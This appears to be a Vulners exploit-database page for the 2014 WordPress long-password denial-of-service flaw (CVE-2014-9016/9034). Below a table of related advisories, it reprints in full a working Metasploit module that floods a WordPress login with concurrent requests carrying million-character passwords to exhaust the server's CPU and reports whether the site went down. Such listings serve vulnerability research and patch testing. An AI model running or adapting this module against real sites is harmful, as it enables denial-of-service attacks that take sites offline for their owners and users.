| Reporter | Title | Published | Views | Family All 79 |
|---|---|---|---|---|
| WordPress 4.0 Denial Of Service Exploit | 1 Dec 201400:00 | – | zdt | |
| wordpress -- multiple vulnerabilities | 25 Nov 201400:00 | – | freebsd | |
| WordPress 3.7 < 3.7.5 / 3.8 < 3.8.5 / 3.9 < 3.9.3 / 4.x < 4.0.1 Multiple Vulnerabilities | 12 Mar 201500:00 | – | nessus | |
| Drupal 7.x < 7.34 DoS | 28 Oct 201600:00 | – | nessus | |
| Debian DLA-236-1 : wordpress security update | 2 Jun 201500:00 | – | nessus | |
| Debian DSA-3075-1 : drupal7 - security update | 21 Nov 201400:00 | – | nessus | |
| Debian DSA-3085-1 : wordpress - security update | 4 Dec 201400:00 | – | nessus | |
| Drupal 6.x < 6.34 / 7.x < 7.34 Multiple Vulnerabilities | 21 Nov 201400:00 | – | nessus | |
| Fedora 20 : wordpress-4.0.1-1.fc20 (2014-15507) | 3 Dec 201400:00 | – | nessus | |
| Fedora 19 : drupal7-7.34-1.fc19 (2014-15522) | 3 Dec 201400:00 | – | nessus |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress Long Password DoS',
'Description' => %q{WordPress before 3.7.5, 3.8.x before 3.8.5, 3.9.x before 3.9.3, and 4.x
before 4.0.1 allows remote attackers to cause a denial of service
(CPU consumption) via a long password that is improperly handled
during hashing.},
'License' => MSF_LICENSE,
'Author' =>
[
'Javier Nieto Arevalo', # Vulnerability disclosure
'Andres Rojas Guerrero', # Vulnerability disclosure
'rastating' # Metasploit module
],
'References' =>
[
['CVE', '2014-9016'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2014-9034'],
['OSVDB', '114857'],
['WPVDB', '7681']
],
'DisclosureDate' => '2014-11-20'
))
register_options(
[
OptInt.new('PLENGTH', [true, 'Length of password to use', 1000000]),
OptInt.new('RLIMIT', [true, 'The number of requests to send', 200]),
OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]),
OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]),
OptString.new('USERNAME', [true, 'The username to send the requests with', '']),
OptBool.new('VALIDATE_USER', [true, 'Validate the specified username', true])
])
end
def rlimit
datastore['RLIMIT']
end
def plength
datastore['PLENGTH']
end
def username
datastore['USERNAME']
end
def validate_user
datastore['VALIDATE_USER']
end
def thread_count
datastore['THREADS']
end
def timeout
datastore['TIMEOUT']
end
def user_exists(user)
exists = wordpress_user_exists?(user)
if exists
print_good("Username \"#{username}\" is valid")
store_valid_credential(user: user, private: nil, proof: "WEBAPP=\"Wordpress\", VHOST=#{vhost}")
return true
else
print_error("\"#{user}\" is not a valid username")
return false
end
end
def run
if wordpress_and_online?
if validate_user
print_status("Checking if user \"#{username}\" exists...")
unless user_exists(username)
print_error('Aborting operation - a valid username must be specified')
return
end
end
starting_thread = 1
while starting_thread < rlimit do
ubound = [rlimit - (starting_thread - 1), thread_count].min
print_status("Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...")
threads = []
1.upto(ubound) do |i|
threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i|
begin
wordpress_login(username, Rex::Text.rand_text_alpha(plength), timeout)
rescue => e
print_error("Timed out during request #{(starting_thread - 1) + i}")
end
end
end
threads.each(&:join)
print_good("Finished executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}")
starting_thread += ubound
end
if wordpress_and_online?
print_error("FAILED: #{target_uri} appears to still be online")
else
print_good("SUCCESS: #{target_uri} appears to be down")
end
else
print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress")
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation